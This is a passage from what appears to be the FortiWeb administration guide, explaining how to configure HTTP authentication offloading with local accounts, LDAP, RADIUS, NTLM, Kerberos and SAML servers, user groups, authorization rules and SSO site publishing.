HTTP-based authentication provided by your FortiWeb can be used in conjunction with a website that already has authentication. However, it is usually used as a substitute for a website that lacks it, or where you have disabled it in order to offload it to the FortiWeb for performance reasons.



Some compliance schemes, including PCI DSS, require that each person have sole access to his or her account, and that that account be restricted from sensitive data such as cardholder information unless it has a business need-to-know. Be aware of such requirements before you begin. This can impact the number of accounts that you must create, as well as the number and scope of authorization rules. Violations can be expensive in terms of higher processing fees, being barred from payment transactions, and, in case of a security breach, penalties of up to \$500,000 per non-compliance.

To configure and activate end-user accounts

You can also require the end-user to present a personal certificate in order to securely authenticate. For details, see ["How to apply PKI client authentication \(personal certificates\)"](#) on page 454.

1. Define user accounts in either or both of the following ways:
 - If you want to define end-user accounts on the FortiWeb, create a user name and password record for each user. For details, see ["Configuring local end-user accounts"](#) on page 345.
 - If end-user account credentials are already defined on a remote authentication server, configure a query to that server. For details, see ["Configuring an LDAP server"](#) on page 346, ["Configuring a RADIUS server"](#) on page 351, or ["Configuring an NTLM server"](#) on page 353.
2. Group accounts and queries to create user groups. See ["Grouping users"](#) on page 356.
3. Configure authorization rules for each user group. See ["Applying user groups to an authorization realm"](#) on page 357.
4. Group authorization rules into an authorization policy. See ["Grouping authorization rules"](#) on page 359.
5. Select the authorization policy in an inline protection profile. See ["Configuring a protection profile for inline topologies"](#) on page 261.
6. Select the inline protection profile in a server policy. See ["Configuring a server policy"](#) on page 277.

When you have configured HTTP authentication

1. If the client's initial request does not already include an `Authorization:` field in its HTTP header, the FortiWeb appliance replies with an HTTP 401 `Authorization Required` response. The response includes a `WWW-Authenticate:` field in the HTTP header that indicates which style of authentication to use (basic, digest, or NTLM) and the name of the realm (usually the name, such as "Restricted Area", of a set of URLs that can be accessed using the same set of credentials).
2. The browser then prompts its user to enter a user name and password. (The prompt may include the name of the realm, in order to indicate to the user which login is valid.) The browser includes the user-entered info in the `Authorization:` field of the HTTP header when repeating its request.

Valid user name formats vary by the authentication server. For example:

- For a local user, enter a user name in the format `username`.
 - For LDAP authentication, enter a user name in the format required by the directory's schema, which varies but could be a user name in the format `username` or an email address such as `username@example.com`.
 - For NTLM authentication, enter a user name in the format `DOMAIN/username`.
3. The FortiWeb appliance compares the supplied credentials to:
- the locally defined set of user accounts
 - a set of user objects in a Lightweight Directory Access Protocol (LDAP) directory
 - a set of user objects on a Remote Authentication and Dial-in User Service (RADIUS) server
 - a set of user accounts on an NT LAN Manager (NTLM) server
4. If the client authenticates successfully, the FortiWeb appliance forwards the original request to the server.
- If the client does **not** authenticate successfully, the FortiWeb appliance repeats its HTTP 401 `Authorization Required` response to the client, asking again for valid credentials.
5. Once the client has authenticated with the FortiWeb appliance, if FortiWeb applies no other restrictions and the URL is found, it returns the web server's reply to the client.

If the client's browser is configured to do so, it can cache the realm along with the supplied credentials, automatically re-supplying the user name and password for each request with a matching realm. This provides convenience to the user; otherwise, the user would have to re-enter a user name and password for every request.



Advise users to clear their cache and close their browser after an authenticated session. HTTP itself is stateless, and there is no way to actively log out. HTTP authentication causes cached credentials, which persist until the cache is cleared either manually, by the user, or automatically, when closing the browser window or tab. Failure to clear the cache could allow unauthorized persons with access to the user's computer to access the website using their credentials.

Clear text HTTP authentication is **not** secure. All user names and data (and, depending on the authentication style, passwords) are sent in clear text. If you require encryption and other security features in addition to authorization, use HTTP authentication with SSL/TLS (i.e. HTTPS) and disable HTTP. For details see "[HTTP Service](#)" on page 282 and "[HTTPS Service](#)" on page 282.

See also

- "[Configuring local end-user accounts](#)" on page 345
- "[Configuring queries for remote end-user accounts](#)" on page 346
- "[Applying user groups to an authorization realm](#)" on page 357
- "[Grouping authorization rules](#)" on page 359
- "[Single sign-on \(SSO\) \(site publishing\)](#)" on page 361

Configuring local end-user accounts

FortiWeb can use local end-user accounts to authenticate and authorize HTTP requests to protected websites. For details, see "[Offloading HTTP authentication & authorization](#)" on page 343.

To configure a local user

1. Go to **User > Local User**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.

3. Configure these settings:

Name	Enter a name that can be referenced in other parts of the configuration, such as <code>Jane Doe</code>. Do not use special characters. The maximum length is 63 characters. Note: This is not the user name that the person must provide when logging in to the CLI or web UI.
User Name	Enter the user name that the client must provide when logging in, such as <code>user1</code>. The maximum length is 63 characters.
Password	Enter a password for the user account. The maximum length is 63 characters. Tip: For improved security, the password should be at least eight characters long, be sufficiently complex, and be changed regularly.

4. Click **OK**.

5. To activate the user account, you must indirectly include it in a server policy that governs connections to your web servers. Continue with ["Grouping users"](#) on page 356. For an overview, see ["To configure and activate end-user accounts"](#) on page 344.

See also

- ["Grouping users"](#) on page 356
- ["Configuring an LDAP server"](#) on page 346
- ["Configuring a RADIUS server"](#) on page 351
- ["Configuring an NTLM server"](#) on page 353

Configuring queries for remote end-user accounts

FortiWeb supports multiple query types that you can use to authenticate users with accounts stored on remote servers, rather than with accounts on the FortiWeb itself.

Configuring an LDAP server

FortiWeb can use LDAP queries to authenticate and authorize end-users' HTTP requests to protected websites. For details, see ["Offloading HTTP authentication & authorization"](#) on page 343. FortiWeb can also use LDAP queries to authenticate administrators' access to the web UI or CLI. For details, see ["Grouping remote authentication queries and certificates for administrators"](#) on page 335.



If you use an LDAP query for administrators, separate it from the queries for regular users. **Do not combine administrator and user queries into a single entry.** Failure to separate queries will allow end-users to have administrative access the FortiWeb web UI and CLI. If administrators are in the same directory but belong to a different group than end-users, you can use **Group Authentication** (page 349) to exclude end-users from the administrator LDAP query.

Supported servers may implement the underlying technology and group membership in different ways, such as with OpenLDAP, Microsoft Active Directory, IBM Lotus Domino, and Novell eDirectory. Match the distinguished names (DN) and group membership attributes (**Group Type** (page 349)) with your LDAP directory's schema.

If this query will be used to authenticate administrators, and your LDAP server is slow to answer, you may need to adjust the authentication timeout setting to prevent the query from failing. See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

For end-user queries, configure **Connection Timeout** (page 360) instead.

To configure an LDAP server

1. Before you configure the query, if it will use a secure connection, you must upload the certificate of the CA that signed the LDAP server's certificate. For details, see "[Uploading trusted CA certificates](#)" on page 437.
2. Go to **User > Remote Server** and select the **LDAP Server** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see "[Permissions](#)" on page 85.

3. Click **Create New**.

A dialog appears.

4. Configure these settings:

Name	Enter a unique name that can be referenced in other parts of the configuration. The maximum length is 63 characters.
Server IP/Domain Name	Enter the IP address or domain name of the LDAP server.
Server Port	Type the port number where the LDAP server listens. The default port number varies by your selection in Secure Connection (page 350): port 389 is typically used for non-secure connections or for STARTTLS-secured connections, and port 636 is typically used for SSL-secured (LDAPS) connections.
Common Name Identifier	Enter the identifier for the common name (CN) attribute (also called the CNID) whose value is the user name. Identifiers vary by your LDAP directory's schema. This is often <code>cn</code> or <code>uid</code> . For Active Directory, it is often the attribute <code>sAMAccountName</code> . For example, in a default OpenLDAP directory, if a user object is: <code>uid=hlee,cn=users,dc=example,dc=com</code>

then the CNID is `uid`.

For an additional example for Active Directory, see ["Example for a configuration for AD"](#) on page 350.

Distinguished Name

Specifies the Base DN from which the LDAP query starts. This DN is the full path in the directory to the user account objects.

For example:

```
ou=People,dc=example,dc=com
```

or

```
cn=users,dc=example,dc=com
```

Bind Type

Select one of the following LDAP query binding styles:

- **Simple**—Bind using the client-supplied password and a bind DN assembled from the [Common Name Identifier](#) (page 347), [Distinguished Name](#) (page 348), and the client-supplied user name.
- **Regular**—Bind using a bind DN and password that you configure in [User DN](#) (page 348) and [Password](#) (page 348). This also allows for group authentication.
- **Anonymous**—Do not provide a bind DN or password. Instead, perform the query **without** authenticating. Select this option only if the LDAP directory supports anonymous queries.

User DN

Enter the bind DN of an LDAP user account with permissions to query the [Distinguished Name](#) (page 348).

For example:

```
cn=FortiWebA,dc=example,dc=com
```

For Active Directory, the UPN (User Principle Name) is often used instead of a bind DN (for example, `user@domain.com`)

The maximum length is 255 characters.

This field can be optional if your LDAP server does not require the FortiWeb appliance to authenticate when performing queries.

This field is not displayed if [Bind Type](#) (page 348) is **Anonymous** or **Simple**.

Password

Enter the password of the [User DN](#) (page 348).

This field may be optional if your LDAP server does not require the FortiWeb appliance to authenticate when performing queries, and does not appear if [Bind Type](#) (page 348) is **Anonymous** or **Simple**.

Filter

Enter an LDAP query filter string that filters the query's results based on any attribute in the record set.

	For example: <pre>(& ((objectClass=user) (objectClass=group) (objectClass=publicFolder)))</pre> This filter improves the speed and efficiency of the queries. For syntax, see an LDAP query filter reference. If you do not want to exclude any accounts from the query, leave this setting blank. The maximum length is 255 characters. This option appears when Bind Type (page 348) is Regular.
Group Authentication	Enable to filter the query results, only allowing users to authenticate if they are members of the LDAP group that you define in Group DN (page 349). Users that are not members of that group will not be allowed to authenticate. Also configure Group Type (page 349) and Group DN (page 349). This option appears only when Bind Type (page 348) is Regular.
Group Type	Indicate the schema of your LDAP directory, either: • OpenLDAP—The directory uses a schema where each user object's group membership is recorded in an attribute named <code>gidNumber</code>. This is usually an OpenLDAP directory, or another directory where the object class <code>inetOrgPerson</code> or <code>posixAccount</code>. • Windows-AD—The directory uses a schema where each user object's group membership is recorded in an attribute named <code>memberOf</code>. This is usually a Microsoft Active Directory server. • eDirectory—The directory uses a schema where each user object's group membership is recorded in an attribute named <code>groupMembership</code>. This is usually a Novell eDirectory server. Group membership attributes may have different names depending on an LDAP directory schemas. The FortiWeb appliance will use the group membership attribute that matches your directory's schema when querying the group DN. This option appears only when Bind Type (page 348) is Regular and Group Authentication is enabled.
Group DN	Enter the value of the group membership attribute that query results must have in order to be able to authenticate. The value may vary by your directory's schema, but may be the distinguished name such as <code>ou=Groups,dc=example,dc=com</code> or a group ID (GID) such as 100. This option appears only when Bind Type (page 348) is Regular and Group Authentication (page 349) is enabled. The maximum length is 255 characters.

Secure Connection	Enable to connect to the LDAP servers using an encrypted connection, then select the style of the encryption in Protocol (page 350).
Protocol	Select which secure LDAP protocol to use, either • LDAPS • STARTTLS The option appears only when Secure Connection is enabled.

5. Click **OK**.
6. If you enabled **Secure Connection** (page 350), upload the certificate of the CA that signed the directory server's certificate. For details, see ["Uploading trusted CA certificates"](#) on page 437.
7. Return to **User > Remote Server**, select the **LDAP User** tab, double-click the row of the query, then click the **Test LDAP** button to verify that FortiWeb can connect to the server, that the query is correctly configured, and that (if binding is enabled) the query bind is successful.

In **username**, type only the value of the CNID attribute, such as `hlee`, **not** the entire DN of the administrator's account. In **password**, type the password for the account.

8. If the query is for administrator accounts that you want to allow to access the FortiWeb web UI, select the query in a remote authentication query group. For details, see ["Grouping remote authentication queries and certificates for administrators"](#) on page 335.

If the query is for user accounts that you want to allow to authenticate with web servers, to activate the user account, you must indirectly include it in a server policy. Continue with ["Grouping users"](#) on page 356. For details, see ["To configure and activate end-user accounts"](#) on page 344.

If the query is for a site publishing rule that offloads authentication for a web application to FortiWeb, you first add it to an authorization server pool. For details, see ["Adding servers to an authentication server pool"](#) on page 355.

See also

- ["Configuring a RADIUS server"](#) on page 351
- ["Configuring an NTLM server"](#) on page 353

Example for a configuration for AD

The following sample values are part of an LDP query for a Microsoft Active Directory (AD) domain server.

Setting	Value	Notes
Common Name Identifier	<code>sAMAccountName</code>	In most cases, you use the Common Name Identifier <code>sAMAccountName</code> as the container. In some cases, <code>userPrincipalName</code> is used, especially if there is a domain forest.
Distinguished Name (Base DN)	<code>OU=CONTAINER, DC=DOMAIN, DC=SUFFIX</code>	Specifies the Base DN from which the LDAP query starts.

Setting	Value	Notes
Filter	(&(objectCategory=person) (objectClass=user) (sAMAccountName=*))	If Common Name Identifier is userPrincipalName, change sAMAccountName to userPrincipalName.
User DN	user@domain.com	This example uses the UPN (User Principle Name) instead of a bind DN.

Configuring a RADIUS server

FortiWeb can use RADIUS queries to authenticate and authorize end-users' HTTP requests. For details, see "Offloading HTTP authentication & authorization" on page 343. FortiWeb can also use RADIUS queries to authenticate administrators' access to the web UI or CLI. For details, see "Grouping remote authentication queries and certificates for administrators" on page 335.



If you use a RADIUS query for administrators, separate it from the queries for regular users. **Do not combine administrator and user queries into a single entry.** Failure to separate queries will allow end-users to have administrative access the FortiWeb web UI and CLI.

Remote Authentication and Dial-in User Service (RADIUS) servers provide authentication, authorization, and accounting functions. The FortiWeb authentication feature uses RADIUS user queries to authenticate and authorize HTTP requests. (The HTTP protocol does not support active logouts, and can only passively log out users when their connection times out. Therefore FortiWeb does **not** fully support RADIUS accounting.) RADIUS authentication with realms (i.e. the person logs in with an account such as admin@example.com) are supported.

To authenticate a user or administrator, the FortiWeb appliance sends the user's credentials to RADIUS for authentication. If the RADIUS server replies to the query with a signal of successful authentication, the client is successfully authenticated with the FortiWeb appliance. If RADIUS authentication fails or the query returns a negative result, the appliance refuses the connection.

If this query will be used to authenticate administrators, and your RADIUS server is slow to answer, you may need to adjust the authentication timeout setting to prevent the query from failing. See the *FortiWeb CLI Reference*:

<http://docs.fortinet.com/fortiweb/reference>

For end-user queries, configure **Connection Timeout** (page 360) instead.

To configure a RADIUS server

1. Before configuring the query, if you will configure a secure connection, you must upload the certificate of the CA that signed the RADIUS server's certificate. For details, see "Uploading trusted CA certificates" on page 437.
2. Go to **User > Remote Server** and select the **RADIUS Server** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see "Permissions" on page 85.
3. Click **Create New**.

A dialog appears.

4. Configure these settings:

Name	Enter a unique name that can be referenced in other parts of the configuration. The maximum length is 63 characters.
Server IP	Enter the IP address of the primary RADIUS server.
Server Port	Enter the port number where the RADIUS server listens. The default port number is 1812.
Server Secret	Enter the RADIUS server secret key for the primary RADIUS server. The primary server secret key should be a maximum of 16 characters in length.
Secondary Server IP	Enter the IP address of the secondary RADIUS server, if applicable.
Secondary Server Port	Enter the port number where the RADIUS server listens. The default port number is 1812.
Secondary Server Secret	Enter the RADIUS server secret key for the secondary RADIUS server. The secondary server secret key should be a maximum of 16 characters in length.
Authentication Scheme	Select either: • <i>Default</i> to authenticate with the default method. The default authentication scheme uses PAP, MS-CHAP-V2, and CHAP, in that order. • MS-CHAP-V2, CHAP, MS-CHAP, or PAP, depending on what your RADIUS server requires.
NAS IP	Enter the NAS IP address and Called Station ID (for more information about RADIUS Attribute 31, see RFC 2548 (http://www.ietf.org/rfc/rfc2548.txt) Microsoft Vendor-specific RADIUS Attributes). If you do not enter an IP address, the IP address that the FortiWeb appliance uses to communicate with the RADIUS server will be applied.

5. Click **OK**.6. Return to **User > Remote Server**, select the **RADIUS Server** tab, double-click the row of the query, then click the **Test RADIUS** button to verify that FortiWeb can connect to the server, and that the query is correctly configured.7. If the query is for **administrator** accounts that you want to allow to access the FortiWeb web UI, select the query in a remote authentication query group. For details, see "[Grouping remote authentication queries and certificates for administrators](#)" on page 335.

For access profiles, FortiWeb appliances support RFC 2548 (<http://www.ietf.org/rfc/rfc2548.txt>) Microsoft Vendor-specific RADIUS Attributes. If you do not want to use them, you can configure them locally instead. For details, see "[Configuring access profiles](#)" on page 333.

If the query is for **user** accounts that you want to allow to authenticate with web servers, to activate the user account, you must indirectly include it in a server policy. Continue with ["Grouping users"](#) on page 356. For an overview, see ["To configure and activate end-user accounts"](#) on page 344.

If the query is for a site publishing rule that offloads authentication for a web application to FortiWeb, you first add it to an authorization server pool. For details, see ["Adding servers to an authentication server pool"](#) on page 355.

See also

- ["Grouping remote authentication queries and certificates for administrators"](#) on page 335
- ["Configuring an LDAP server"](#) on page 346
- ["Configuring an NTLM server"](#) on page 353

Configuring an NTLM server

NT LAN Manager (NTLM) queries can be made to a Microsoft Windows or Active Directory server that is configured for NTLM authentication. FortiWeb supports both NTLM v1 and NTLM v2.

FortiWeb can use NTLM queries to authenticate and authorize HTTP requests. For details, see ["Applying user groups to an authorization realm"](#) on page 357.

To configure an NTLM server

1. Go to **User > Remote Server** and select the **NTLM Server** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see ["Permissions"](#) on page 85.

2. Click **Create New**.
3. In **Name**, type a unique name that can be referenced by other parts of the configuration. This is the name of the query only, not the end-user's account name/login. Do not use spaces or special characters. The maximum length is 63 characters.
4. For **Server IP**, type the IP address of the NTLM server to query.
5. For **Port**, type the TCP port number where the NTLM server listens for queries.
6. Click **OK**.
7. To activate the user account, you must indirectly include it in a server policy that governs connections to your web servers. Continue with ["Grouping users"](#) on page 356. For an overview, see ["To configure and activate end-user accounts"](#) on page 344.

Configuring a Kerberos Key Distribution Center (KDC) server

You can specify a Kerberos Key Distribution Center (KDC) that FortiWeb can use to obtain a Kerberos service ticket for web applications on behalf of clients.

Because FortiWeb determines the KDC to use based on the realm of the web application, you do not have to specify the KDC in the site publish rule.

For details, see ["Using Kerberos authentication delegation"](#) on page 364 and ["Offloaded authentication and optional SSO configuration"](#) on page 367.

To configure a KDC server

1. Go to **User > Remote Server** and select the **KDC Server** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New** and complete the following settings:

Name	Enter a name that can be referenced by other parts of the configuration. The maximum length is 63 characters.
Delegated Realm	Enter the domain of the domain controller (DC) that the Key Distribution Center (KDC) belongs to. Typically the UPN (User Principle Name) used for login has the format <i>username@delegated_realm</i> .
Shortname	Enter the shortname for the realm you specified (This is optional). A shortname is an alias of the delegated realm; it can be any set of characters except for symbols "@", "/" and "\". For example, the shortname can include the domain name of the realm that is not fully qualified. With a shortname being configured, the format of UPN can be <i>username@shortname</i> .
Server IP	Enter the IP address of the KDC. In most cases, the KDC is located on the same server as the DC.
Port	Enter the port the KDC uses to listen for requests.

3. Click **OK**.

Configuring a Security Assertion Markup Language (SAML) server

You can use a SAML server in a site publish rule to handle client authentication for web browser single sign-on (SSO).

SAML is an open standard for exchanging authentication and authorization data between parties, and is often used for exchanging such data between an identity provider and a service provider.

To configure a SAML server

1. Go to **User > Remote Server** and select the **SAML Server** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see "[Permissions](#)" on page 85.

2. Click **Create New** and complete the following settings:

Name	Enter a name that can be referenced by other parts of the configuration. The maximum length is 63 characters.
Entity ID	Enter the URL for the SAML server. The communications protocol must be HTTPS.
Service Path	Enter a path for the SAML server at the URL you specified in Entity ID (page 354).

Assertion Consumer Service	
Binding Type	Select the binding that the server will use to transport the SAML authentication request to the IDP.
Path	Enter a partial URL that the IDP will use to confirm with the service provider that a user has been authenticated.
Single Logout Service	
Binding Type	Select the binding that the server will use when the service provider initiates a single logout request: • POST—SAML protocol messages are transported via the user's browser in an XHTML document using base64-encoding. • REDIRECT—SAML protocol messages will be carried in the URL of an HTTP GET request. Because the length of URLs is limited, this option is best for shorter messages.
Path	Enter a partial URL that the IDP will use to confirm with the service provider that a user has been logged out.
Identity Provider Metadata	
Metadata	Click Choose File to upload an IDP metadata file for the SAML server. If the file is valid, the Entity ID (page 355) below will populate.
Entity ID	The Entity ID will populate if the IDP metadata file for the SAML server that you uploaded in Metadata (page 355) is valid.

3. Click **OK**.

Adding servers to an authentication server pool

When you configure a site publishing rule that offloads authentication for a web application to FortiWeb, you use an authentication server pool to specify the method and server that FortiWeb uses to authenticate clients.

The pool can contain one or more servers that use either LDAP or RADIUS to authenticate clients. You add LDAP or RADIUS servers to an authentication server pool using the queries that correspond to the servers. For details, see "Configuring an LDAP server" on page 346 and "Configuring a RADIUS server" on page 351).

FortiWeb attempts to authenticate clients using the server at the top of the list of pool members, and then continues to the next member down in the list if the authentication is unsuccessful, and so on. You can use the list options to adjust the position of each item in the list.

To configure an authentication server pool

1. Go to **Application Delivery > Site Publish > Authentication Server Pool**.
2. Click **Create New**, enter a name for the pool, and then click **OK**.
3. Click **Create New** and complete the following settings:

Authentication Validation Method	Select whether this pool member uses LDAP or RADIUS to authenticate clients.
LDAP Server or RADIUS Server	Select the name of the authentication query that FortiWeb uses to pass credentials to your authentication server.
RSA SecurID	Select to enable client authentication using a username and a RSA SecurID authentication code only. Users are not required to enter a password. When this option is enabled, the authentication delegation options in the site publish rule are not available. For details, see "RSA SecurID authentication" on page 363. Alternatively, you can use the default two-factor authentication feature to require users to enter a username, password, and a RSA SecurID authentication code. For details, see "Two-factor authentication" on page 362.

4. Click **OK**.
5. Add any other additional servers you want in the pool.
6. To use the pool, select it when you configure a site publish rule. For details, see ["Offloaded authentication and optional SSO configuration"](#) on page 367

Grouping users

To denote which set of people is authorized to request specific URLs when configuring HTTP authentication offloading, you must create user groups.

A user group can include a mixture of local end-user accounts, LDAP queries, RADIUS queries, and NTLM queries. Therefore, on FortiWeb, a user group could be set of accounts, or it could be a set of queries instead.

To configure a user group

1. Before you can configure a user group, you must first configure one or more local end-user accounts or queries to remote authentication servers. See these sections:
 - ["Configuring local end-user accounts"](#) on page 345
 - ["Configuring an LDAP server"](#) on page 346
 - ["Configuring a RADIUS server"](#) on page 351
 - ["Configuring an NTLM server"](#) on page 353

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Auth Users** category. For details, see ["Permissions"](#) on page 85.

2. Go to **User > User Group > User Group**.
3. Click **Create New**.

4. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use special characters. The maximum length is 63 characters.
5. In **Auth Type**, select one of the following authentication types:
 - **Basic**—Clear text. This is the original and most compatible authentication scheme for HTTP. However, it is also the least secure as it sends the user name and password unencrypted to the server.
 - **Digest**—Encrypts the password and thus is more secure than the basic authentication.
 - **NTLM**—Uses a proprietary protocol of Microsoft and is considered to be more secure than basic authentication.
6. Click **OK**.
7. Click **Create New**.
8. In **User Type**, select the type of user or user query you want to add to the group. Available options vary with the setting for the group's **Auth Type** option.

You can mix user types in the group. However, if the authentication rule's **Auth Type** does not support a given user type, all user accounts of that type will be ignored, effectively disabling them.
9. From **User Name**, select the name of an existing user account, LDAP query, or RADIUS query. Available options vary by your selection in **User Type**.
10. Click **OK**.
11. Repeat the previous steps for each user or query that you want to add to the group.
12. Select the user group in an authorization rule. For details, see ["Applying user groups to an authorization realm"](#) on page 357.

See also

- ["Configuring local end-user accounts"](#) on page 345
- ["Configuring an LDAP server"](#) on page 346
- ["Configuring a RADIUS server"](#) on page 351
- ["Configuring an NTLM server"](#) on page 353
- ["Offloading HTTP authentication & authorization"](#) on page 343

Applying user groups to an authorization realm

Authentication rules are used by the HTTP authentication policy to define sets of request URLs that will be authorized for each end-user group.



Alternatively, you can configure site publishing, which has the additional advantage of optionally providing SSO for multiple web applications. See ["Single sign-on \(SSO\) \(site publishing\)"](#) on page 361.

To configure an authentication rule

1. Before you can configure an authentication rule set, you must first configure any user groups that you want to include. For details, see ["Grouping users"](#) on page 356.

If you want to apply rules only to HTTP requests for a specific real or virtual host, you must first define the web host in a protected host names group. For details, see ["Defining your protected/allowed HTTP "Host:" header names"](#) on page 388.

2. Go to **Application Delivery > Authentication** and select the **Authentication Rule** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see ["Permissions"](#) on page 85.

3. Click **Create New**.

4. In **Name**, type a name that can be referenced by other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.

5. If you want to require that the `Host :` field of the HTTP request matches a protected host entry in order to match the HTTP authentication rule, do the following:

- Enable **Host Status**.
- From **Host**, select which protected host entry (either a web host name or IP address) the `Host :` field of the HTTP request must be. The list contains hosts configured in a protected host names group. For details, see ["Defining your protected/allowed HTTP "Host:" header names"](#) on page 388.

6. Click **OK**.

7. Click **Create New**.

8. Configure these settings:

Auth Type	Select which type of HTTP authentication to use: • Basic—Clear text, Base64-encoded user name and password. Supports all user queries except NTLM. NTLM users will be ignored if included in the user group. • Digest—Hashed user name, realm, and password. Only local users are supported. Other types are ignored if included in the user group. • NTLM—Encrypted user name and password. Only NTLM queries are supported. Other types are ignored if included in the user group. For details about available user types, see "Grouping users" on page 356.
User Group	Select the name of an existing end-user group that is authorized to use the URL in Auth Path (page 359).
User Realm	Type the realm, such as <code>Restricted Area</code>, to which the Auth Path (page 359) belongs. The realm is often used by browsers: • It may appear in the browser's prompt for the user's credentials. Especially if a user has multiple logins, and only one login is valid for that specific realm, displaying the realm helps to indicate which user name and password should be supplied. • After authenticating once, the browser may cache the authentication

credentials for the duration of the browser session. If the user requests another URL from the same realm, the browser often will automatically re-supply the cached user name and password, rather than asking the user to enter them again for each request.

The realm may be the same for multiple authentication rules, if all of those URLs permit the same user group to authenticate.

For example, the user group `All_Employees` could have access to the **Auth Path** (page 359) URLs `/wiki/Main` and `/wiki/ToDo`. These URLs both belong to the realm named `Intranet Wiki`. Because they use the same realm name, users authenticating to reach `/wiki/Main` usually will not have to authenticate again to reach `/wiki/ToDo`, as long as both requests are within the same browser session.

This field does not appear if **Auth Type** (page 358) is **NTLM**, which does not support HTTP-style realms.

Auth Path	Type the literal URL, such as <code>/employees/holidays.html</code> , that a request must match in order to invoke HTTP authentication.

9. Click **OK**.

10. Repeat the previous steps for each user that you want to add to the authentication rules.

11. Group the authentication rule in an authentication policy. For details, see "[Grouping authorization rules](#)" on page 359.

Grouping authorization rules

Often, you may want to specify multiple authorization realms to apply to a single server policy. Before you can use authorization rules in a protection profile, you must group them together. (These sets are called "authentication policies" in the web UI).

Authentication policies also contain settings such as connection and cache timeouts that FortiWeb applies to all requests authenticated using this authentication policy.



Alternatively or in addition to HTTP authentication, with SSL connections, you can require that clients present a valid personal certificate. For details, see "[Certificate Verification](#)" on page 284.

To configure an authentication policy

1. Before you can configure an authentication policy, you must first configure:

- End-users (see "[Configuring local end-user accounts](#)" on page 345, "[Configuring an LDAP server](#)" on page 346, or "[Configuring an NTLM server](#)" on page 353)
- User groups (see "[Grouping users](#)" on page 356)
- One or more authorization rules to select the authorization mechanism, select the user group, and the set of URLs that is the authorization realm (see "[Applying user groups to an authorization realm](#)" on page 357)

2. Go to **Application Delivery > Authentication** and select the **Authentication Policy** tab.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Web Protection Configuration** category. For details, see "[Permissions](#)" on page 85.

3. Click **Create New**.

4. Configure these settings:

Name	Type a unique name that can be referenced in other parts of the configuration. Do not use spaces or special characters. The maximum length is 63 characters.
Connection Timeout	Type the connection timeout for the query to the FortiWeb's query to the remote authentication server in milliseconds. The default is 2,000 (2 seconds). If the authentication server does not answer queries quickly enough, to prevent dropped connections, increase this value.
Cache	Enable if you want to cache authentication query results. Tip: This can improve performance, especially if the connection to the remote authentication server is slow or experiences latency.
Alert Type	Select whether to log authentication failures and/or successes: • None—Do not generate an alert email and/or log message. • Failed Only—Alert email and/or log messages are caused only by HTTP authentication failures. • Successful Only—Alert email and/or log messages are caused only by successful HTTP authentication. • All—Alert email and/or log messages are caused for all HTTP authentication attempts, regardless of success or failure. Event log messages contain the user name, authentication type, success or failure, and source address (for example, <code>User jdoe HTTP BASIC login successful from 172.20.120.46</code>) when an end-user successfully authenticates. A similar message is recorded if the authentication fails (for example, <code>User hackers HTTP BASIC login failed from 172.20.120.227</code>).

5. If you enabled **Cache** (page 360), also configure the following:

Cache Timeout	Type the number of seconds that authentication query results will be cached. When a record's timeout is reached, FortiWeb will remove it from the cache. Subsequent requests from the client will cause FortiWeb to query the authentication server again, adding the query results to the cache again.

This setting is applicable only if [Cache](#) (page 360) is enabled. The default value is 300.

6. Click **OK**.
7. Click **Create New**.
8. From the **Auth Rule** drop-down list, select the name of an authentication rule.
9. Click **OK**.
10. Repeat the previous steps for each individual rule that you want to add to the authentication policy.
11. To apply the authentication policy, select it in an inline protection profile that is included in a policy. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.



If you have enabled logging, you can also make reports such as "Top Failed Authentication Events By Day" and "Top Authentication Events By User" to identify hijacked accounts or slow brute force attacks. For details, see ["Reports"](#) on page 720.

See also

- ["Applying user groups to an authorization realm"](#) on page 357
- ["Single sign-on \(SSO\) \(site publishing\)"](#) on page 361

Single sign-on (SSO) (site publishing)

You can configure single sign-on (SSO) and combination access control and authentication (called "site publishing" in the web UI) instead of configuring simple HTTP authentication rules if:


- Your users will be accessing multiple web applications on your domain.
- You have defined accounts centrally on an LDAP server (such as Microsoft Active Directory) or a RADIUS server.

Unlike HTTP authentication rules, SSO does not require your users to authenticate each time they access separate web applications in your domain.

For example, if you configure HTML form authentication, when FortiWeb receives the first request, it returns an HTML authentication form.

FortiWeb's HTTP authentication form

FortiWeb forwards the client's credentials in a query to the authentication server. Once the client is successfully authenticated, if you have configured FortiWeb to delegate, FortiWeb forwards the credentials to the web application. The server's response is returned to the client. Until the session expires, subsequent requests from the client to the same or other web applications in the same domain do not require the client to authenticate again.



You can use the SSO feature to replace your discontinued Microsoft Threat Management Gateway. With SSO enabled, you can use FortiWeb as a portal for multiple applications such as SharePoint, Outlook Web Application, Lync, and/or IIS. Users log in once to use any or all of those resources.

When you configure SSO, FortiWeb uses the authentication method for the first site publish rule that matches. Therefore, you cannot specify different authentication methods for individual web applications in the same SSO domain.

For example, you can create a site publish rule that allows users to access Outlook Web App (OWA) via HTML Form Authentication and a rule that allows them to access Exchange via HTTP Basic Authentication. However, to ensure FortiWeb controls access to each application with the correct authentication method, do not enable SSO for the rules.



If you do **not** want to apply SSO, but still want to publish multiple sites through the same server policy, apply the same steps, except do not enable SSO.

See also

- ["Two-factor authentication"](#) on page 362
- ["RSA SecurID authentication"](#) on page 363
- ["Using Kerberos authentication delegation"](#) on page 364
- ["Offloaded authentication and optional SSO configuration"](#) on page 367

Two-factor authentication

By default, FortiWeb supports RADIUS authentication that requires users to provide a secondary password, PIN, or token code in addition to a username and password (two-factor authentication).

